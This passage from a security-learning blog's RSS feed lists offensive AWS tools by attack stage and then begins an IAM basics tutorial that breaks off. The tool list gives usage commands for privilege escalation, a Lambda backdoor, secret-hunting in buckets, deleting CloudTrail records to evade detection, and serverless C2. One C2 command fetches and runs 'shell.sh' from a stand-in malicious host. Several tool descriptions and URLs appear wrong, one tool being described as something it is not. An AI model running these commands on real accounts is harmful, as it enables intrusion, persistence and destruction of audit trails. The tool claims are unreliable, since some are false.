target="_blank" rel="noopener"&#10; &gt;https://github.com/duo-labs/cloudmapper&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Usage example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 cloudmapper.py collect --account my-account&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 cloudmapper.py report --account my-account&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;hr&gt;&#10;&lt;h4 id="2-privilege-escalation--vulnerability-exploitation"&gt;&lt;a href="#2-privilege-escalation--vulnerability-exploitation" class="header-anchor"&gt;&lt;/a&gt;2. Privilege Escalation &amp;amp; Vulnerability Exploitation&#10;&lt;/h4&gt;&lt;h5 id="1-weirdaal"&gt;&lt;a href="#1-weirdaal" class="header-anchor"&gt;&lt;/a&gt;(1) WeirdAAL&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: Automatically detects abuse of AWS API permissions, such as &lt;code&gt;sts:AssumeRole&lt;/code&gt; and &lt;code&gt;iam:CreateUser&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Key features&lt;/strong&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Quickly scans IAM policies for dangerous permissions.&lt;/li&gt;&#10;&lt;li&gt;Generates reproducible attack code in Python.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Project URL&lt;/strong&gt;: &lt;strong&gt;&lt;a class="link" href="https://github.com/carnal0wnage/weirdAAL" target="_blank" rel="noopener"&#10; &gt;https://github.com/carnal0wnage/weirdAAL&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Usage example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 weirdAAL.py -m iam_createaccesskey&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="2-aws-pwn"&gt;&lt;a href="#2-aws-pwn" class="header-anchor"&gt;&lt;/a&gt;(2) AWS PWN&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: An automated privilege escalation tool covering &lt;strong&gt;more than 20 privilege escalation paths across services such as EC2, Lambda, and S3&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Key features&lt;/strong&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Detects abuse of EC2 instance role permissions.&lt;/li&gt;&#10;&lt;li&gt;Uses Lambda functions to execute code and steal metadata.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Project URL&lt;/strong&gt;: &lt;strong&gt;&lt;a class="link" href="https://github.com/dagrz/aws_pwn" target="_blank" rel="noopener"&#10; &gt;https://github.com/dagrz/aws_pwn&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Usage example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 aws_pwn.py --profile victim-profile --module lambda_backdoor&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;hr&gt;&#10;&lt;h4 id="3-buckets--data-exposure"&gt;&lt;a href="#3-buckets--data-exposure" class="header-anchor"&gt;&lt;/a&gt;3. Buckets &amp;amp; Data Exposure&#10;&lt;/h4&gt;&lt;h5 id="1-s3scanner"&gt;&lt;a href="#1-s3scanner" class="header-anchor"&gt;&lt;/a&gt;(1) S3Scanner&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: Scans public S3 buckets in bulk and detects sensitive files such as &lt;code&gt;credentials&lt;/code&gt; and &lt;code&gt;config&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Key features&lt;/strong&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Supports custom keyword filters such as &lt;code&gt;AKIA&lt;/code&gt; and &lt;code&gt;secret&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;Exports readable reports in CSV/JSON format.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Project URL&lt;/strong&gt;: &lt;strong&gt;&lt;a class="link" href="https://github.com/sa7mon/S3Scanner" target="_blank" rel="noopener"&#10; &gt;https://github.com/sa7mon/S3Scanner&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Usage example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 s3scanner.py --bucket names.txt --keywords secrets.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="2-bucket-stream"&gt;&lt;a href="#2-bucket-stream" class="header-anchor"&gt;&lt;/a&gt;(2) bucket-stream&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: Monitors newly created S3 buckets in real time and checks for public access permissions.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Key features&lt;/strong&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Uses CertStream to monitor domain changes and discover related buckets.&lt;/li&gt;&#10;&lt;li&gt;Automatically flags high-risk buckets, such as those in &lt;code&gt;website&lt;/code&gt; mode.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Project URL&lt;/strong&gt;: &lt;strong&gt;&lt;a class="link" href="https://github.com/eth0izzle/bucket-stream" target="_blank" rel="noopener"&#10; &gt;https://github.com/eth0izzle/bucket-stream&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Usage example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 bucket-stream.py --firehose&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;hr&gt;&#10;&lt;h4 id="4-lateral-movement--backdoor-implantation"&gt;&lt;a href="#4-lateral-movement--backdoor-implantation" class="header-anchor"&gt;&lt;/a&gt;4. Lateral Movement &amp;amp; Backdoor Implantation&#10;&lt;/h4&gt;&lt;h5 id="1-cloudsplaining"&gt;&lt;a href="#1-cloudsplaining" class="header-anchor"&gt;&lt;/a&gt;(1) Cloudsplaining&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: Analyzes excessive permissions in IAM policies and generates an &lt;strong&gt;attack path diagram&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Key features&lt;/strong&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Flags &lt;code&gt;iam:PassRole&lt;/code&gt; and &lt;code&gt;sts:AssumeRole&lt;/code&gt; permissions that could enable privilege escalation.&lt;/li&gt;&#10;&lt;li&gt;Outputs an HTML visualization report.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Project URL&lt;/strong&gt;: &lt;strong&gt;&lt;a class="link" href="https://github.com/salesforce/cloudsplaining" target="_blank" rel="noopener"&#10; &gt;https://github.com/salesforce/cloudsplaining&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Usage example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cloudsplaining download --profile default&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cloudsplaining scan --input-file default.json&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="2-lambda-proxy"&gt;&lt;a href="#2-lambda-proxy" class="header-anchor"&gt;&lt;/a&gt;(2) Lambda-Proxy&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: A &lt;strong&gt;serverless reverse proxy&lt;/strong&gt; based on Lambda and API Gateway that enables covert C2 communications.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Key features&lt;/strong&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Supports HTTPS-encrypted traffic.&lt;/li&gt;&#10;&lt;li&gt;Dynamically generates random API paths to evade WAF detection.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Project URL&lt;/strong&gt;: &lt;strong&gt;&lt;a class="link" href="https://github.com/pumasecurity/lambda-proxy" target="_blank" rel="noopener"&#10; &gt;https://github.com/pumasecurity/lambda-proxy&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Usage example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;serverless deploy --stage prod # Deploy to AWS&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl https://xxx.execute-api.region.amazonaws.com/prod/command?cmd=whoami&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;hr&gt;&#10;&lt;h4 id="5-log-cleanup--anti-detection"&gt;&lt;a href="#5-log-cleanup--anti-detection" class="header-anchor"&gt;&lt;/a&gt;5. Log Cleanup &amp;amp; Anti-Detection&#10;&lt;/h4&gt;&lt;h5 id="1-cloudtrail-mutator"&gt;&lt;a href="#1-cloudtrail-mutator" class="header-anchor"&gt;&lt;/a&gt;(1) CloudTrail Mutator&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: Automatically cleans up CloudTrail logs and &lt;strong&gt;deletes specified event records&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Key features&lt;/strong&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Supports fuzzy keyword matching, such as &lt;code&gt;DeleteTrail&lt;/code&gt; and &lt;code&gt;StopLogging&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;Bypasses multi-region log backup mechanisms.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Project URL&lt;/strong&gt;: &lt;strong&gt;&lt;a class="link" href="https://github.com/Anon-Exploiter/CloudTrail-Mutator" target="_blank" rel="noopener"&#10; &gt;https://github.com/Anon-Exploiter/CloudTrail-Mutator&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Usage example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 cloudtrail_mutator.py --profile target --filter &amp;#34;DeleteTrail&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="2-guarddog"&gt;&lt;a href="#2-guarddog" class="header-anchor"&gt;&lt;/a&gt;(2) GuardDog&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: Emulates GuardDuty detection logic to &lt;strong&gt;test whether attack techniques can be detected&lt;/strong&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Key features&lt;/strong&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Generates simulated attack events such as &lt;code&gt;PenTest:IAMUser/KaliLinux&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;Outputs an estimate of the probability of a GuardDuty alert.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Project URL&lt;/strong&gt;: &lt;strong&gt;&lt;a class="link" href="https://github.com/DataDog/guarddog" target="_blank" rel="noopener"&#10; &gt;https://github.com/DataDog/guarddog&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Usage example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;guarddog simulate --attack &amp;#34;S3:GetObjectAnonymously&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;hr&gt;&#10;&lt;h4 id="6-advanced-covert-communications"&gt;&lt;a href="#6-advanced-covert-communications" class="header-anchor"&gt;&lt;/a&gt;6. Advanced Covert Communications&#10;&lt;/h4&gt;&lt;h5 id="1-aws-lambda-c2"&gt;&lt;a href="#1-aws-lambda-c2" class="header-anchor"&gt;&lt;/a&gt;(1) AWS Lambda C2&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: A &lt;strong&gt;serverless C2 framework&lt;/strong&gt; built entirely on Lambda and S3 that supports encrypted command delivery.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Key features&lt;/strong&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Stores commands in fragments to evade frequency-based detection.&lt;/li&gt;&#10;&lt;li&gt;Automatically cleans up results to reduce log residue.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Project URL&lt;/strong&gt;: &lt;strong&gt;&lt;a class="link" href="https://github.com/0x4D31/aws-lambda-c2" target="_blank" rel="noopener"&#10; &gt;https://github.com/0x4D31/aws-lambda-c2&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Usage example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Deploy the backdoor&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 deploy.py --region us-west-1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Send a command&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python3 c2-client.py --command &amp;#34;curl http://malicious.com/shell.sh | sh&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="2-s3c2"&gt;&lt;a href="#2-s3c2" class="header-anchor"&gt;&lt;/a&gt;(2) S3C2&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Purpose&lt;/strong&gt;: Uses an S3 bucket as a &lt;strong&gt;covert communication channel&lt;/strong&gt;, supporting file transfers and command execution.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Key features&lt;/strong&gt;:&#10;&lt;ul&gt;&#10;&lt;li&gt;Uses presigned URLs to update commands dynamically.&lt;/li&gt;&#10;&lt;li&gt;Encrypts communication content with AES-256.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Project URL&lt;/strong&gt;: &lt;strong&gt;&lt;a class="link" href="https://github.com/blackhat/secutils" target="_blank" rel="noopener"&#10; &gt;https://github.com/blackhat/secutils&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Usage example&lt;/strong&gt;:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;./s3c2-client.py --bucket my-c2-bucket --get-command&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="conclusion-on-aws-cloud-security"&gt;&lt;a href="#conclusion-on-aws-cloud-security" class="header-anchor"&gt;&lt;/a&gt;Conclusion on AWS Cloud Security&#10;&lt;/h2&gt;&lt;p&gt;That essentially wraps up AWS penetration testing. There may be some penetration testing techniques I have not mentioned, but I believe most of them are covered here. In particular, the defense-evasion techniques in the final section are already advanced methods for red-team operations in cloud environments. You only need to learn one of the languages supported by Lambda and how to call AWS resources, and then you can develop a serverless C2. If you know python, you can use RSA/AES to encrypt communications; if you know JAVA, you can also serialize commands. In short, the goal is simply to delay detection for as long as possible. I have now finished the parts I needed to learn. If my future work involves AWS cloud security and gives me the chance to participate in it deeply (apparently this role only exists overseas :?), I can take things another step further. From here on, I will need to rely more on my own exploration. My practical skills and understanding of the services are already very solid; what I still lack is theoretical knowledge. Once I have learned all of this, I can start preparing for the AWS Certified Security certification. Combining theory with hands-on practice is the only way to develop further.&lt;/p&gt;&#10;&lt;p&gt;At the moment, I still need to learn the boto3 library, the basics of writing CloudFormation templates, and how other cloud providers such as aliyun differ. After that, I should be more or less done.&lt;/p&gt;&#10;</description></item><item><title>AWS Cloud Fundamentals</title><link>http://xtpol.com/p/aws-cloud-basics/</link><pubDate>Mon, 03 Mar 2025 23:26:00 +0800</pubDate><guid>http://xtpol.com/p/aws-cloud-basics/</guid><description>&lt;h2 id="getting-ready-for-aws"&gt;&lt;a href="#getting-ready-for-aws" class="header-anchor"&gt;&lt;/a&gt;Getting Ready for AWS&#10;&lt;/h2&gt;&lt;p&gt;(First, create an account and sign in to AWS. Remember that you initially sign in as the AWS account root user.)&lt;/p&gt;&#10;&lt;h2 id="iam"&gt;&lt;a href="#iam" class="header-anchor"&gt;&lt;/a&gt;IAM&#10;&lt;/h2&gt;&lt;p&gt;Like Linux or Windows, which have a highest-privileged root/administrator account, AWS has one too. It feels a little like a domain setup. ROOT has the highest privileges in AWS and can control everything. But everyone knows what happens if you keep using root: if the account gets compromised, the attacker does not even need to escalate privileges—they already have everything. That is why IAM exists.&lt;/p&gt;&#10;&lt;p&gt;With IAM, you can create a user and assign access to a service. Say I want to grant someone permissions for S3. AWS asks me to set a username and password, then generates a dedicated URL that can be used to sign in to that account, also known as an IAM account. When you host services such as Tomcat or Nginx locally, they usually run as a user like www-data. This is somewhat similar. The domain analogy comes from the fact that ROOT can change a lot of things, as shown below.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0001.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;You can create user groups, users, roles, policies, and so on. It feels a lot like a domain. Linux and Windows work similarly too: you can assign roles and define policies, almost like setting a security baseline. The difference is that AWS manages everything centrally and distributes the configuration instead of operating on a single machine, which is why it feels like a domain controller. For the rest of this learning process, we need to create an administrator account.&lt;/p&gt;&#10;&lt;h3 id="creating-an-account"&gt;&lt;a href="#creating-an-account" class="header-anchor"&gt;&lt;/a&gt;Creating an Account&#10;&lt;/h3&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0002.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Providing AWS Management Console access lets an IAM user work through the web interface (the AWS console), rather than only through the API. I enable everything here because, while learning, I want to understand both the web interface and the API.&lt;/p&gt;&#10;&lt;p&gt;Click Next to reach the permissions page.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Create a group directly and choose the first permission. The goal here is to create a group with administrator privileges. If I want to create more users with administrator privileges later, I can simply drop them into this group. If that does not matter to you, click &lt;strong&gt;Attach policies directly&lt;/strong&gt; on the far right and attach &lt;code&gt;AdministratorAccess&lt;/code&gt; instead. (The architecture is extremely similar to Windows/Linux account management.)&lt;/p&gt;&#10;&lt;p&gt;At the bottom of this page, there is also an option for setting a permissions boundary. This is easy to understand: &lt;code&gt;AdministratorAccess&lt;/code&gt; grants all permissions, but if I want an IAM user to manage only EC2 and not S3, I can set that restriction here even if the user belongs to the administrators group.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0004.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;We do not need this here, so just continue to the next step.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This only adds tags, similar to descriptions for users and user groups. Just click Create user.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0006.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;h3 id="roles"&gt;&lt;a href="#roles" class="header-anchor"&gt;&lt;/a&gt;Roles&#10;&lt;/h3&gt;&lt;p&gt;Here is a quick introduction to the roles section.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0007.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Normally, two default roles are generated. The important part is the ARN.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-basics/image-0008.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Every role has an ARN, somewhat like /etc/passwd on Linux or a SID on Windows. My current understanding is that if you want to learn cloud penetration testing, you have to understand IAM roles because they come into play later during privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;As I understand it, an IAM role lets AWS services such as EC2 and Lambda access AWS resources automatically without an API Key. In other words, if one service needs resources from another service, you can configure a role for it. You can retrieve its temporary credentials like this:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" 